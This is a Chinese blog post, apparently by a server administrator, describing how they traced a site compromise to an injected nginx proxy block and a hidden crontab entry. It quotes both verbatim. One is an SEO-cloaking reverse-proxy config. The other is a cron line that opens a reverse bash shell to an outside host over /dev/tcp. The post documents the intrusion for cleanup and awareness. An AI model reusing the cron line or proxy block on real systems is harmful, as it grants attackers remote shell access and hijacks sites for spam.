发现一个利用Linux隐藏计划任务的crontab后门的过程

2023年 10月 11日 23.3k 0

近日服务器上的网站老是被植入后门造成被反代了一些HuangSe目录内容,很是烦人!
首先开始找php代码是否被人篡改,发现并没有,再看宝塔的nginx站点配置,里面也没有异常。

于是在服务器/www/server/nginx/conf 目录下面看,发现 enable-php-74.conf 文件比其它版本的文件大不少。打开一看,原来是被人在这里做了手脚,后面加上了 目录代理:

location ~ [^/]\.php(/|$)
{
        try_files $uri =404;
        fastcgi_pass  unix:/tmp/php-cgi-74.sock;
        fastcgi_index index.php;
        include fastcgi.conf;
        include pathinfo.conf;
}
# 以下是被插入的
location /yyds {
    set $flag 0;
  if ($http_user_agent ~* (baiduspider|googlebot|soso|bing|sogou|yahoo|Bytespider))  { 
      set $flag 1;
  } 
  if ($http_referer ~* (m.baidu.com|m.sogou.com|wap.baidu.com|3g.baidu.com|.sm.cn)){
      set $flag 1;
  }
  if ($http_referer ~* (site:|site%|=site|inurl|inurl:|inurl%)){
        set $flag 0;
  }
  if ($flag = 0) {
       return 404;
  }
  proxy_pass       http://xxxxx.xxxx.xxx/xxx@;
  proxy_connect_timeout   60; 
  proxy_set_header   X-Forwarded-For $proxy_add_x_forwarded_for;
  ...
}

奇怪对方怎么修改的这个配置?
查看linux ssh登陆日志记录( /var/log/secure )没发现端倪。

到了日志目录,顺便看看其它日志,发现/var/log/cron 文件中内容中有个奇怪的任务

Oct  9 03:10:01 iZ2zferztw5Z CROND[4131]: (www) CMD (exec 9 /dev/tcp/count.51yes.org/22211;exec 0&9 2>&1;/bin/bash --noprofile -i;^Mno crontab for www   )

这应该是加载的 www用户的一个计划任务。
继续扒,在/var/spool/cron 目录下发现一个www用户的计划任务,内容如下:

*/10 * * * * exec 9 /dev/tcp/count.51yes.org/21111;exec 0&9 2>&1;/bin/bash --noprofile -i;
no crontab for www

通过tcp 调用远程再执行,赶紧删了它。

相关文章

服务器端口转发,带你了解服务器端口转发
服务器开放端口,服务器开放端口的步骤
产品推荐:7月受欢迎AI容器镜像来了,有Qwen系列大模型镜像
如何使用 WinGet 下载 Microsoft Store 应用
百度搜索:蓝易云 – 熟悉ubuntu apt-get命令详解
百度搜索:蓝易云 – 域名解析成功但ping不通解决方案

发布评论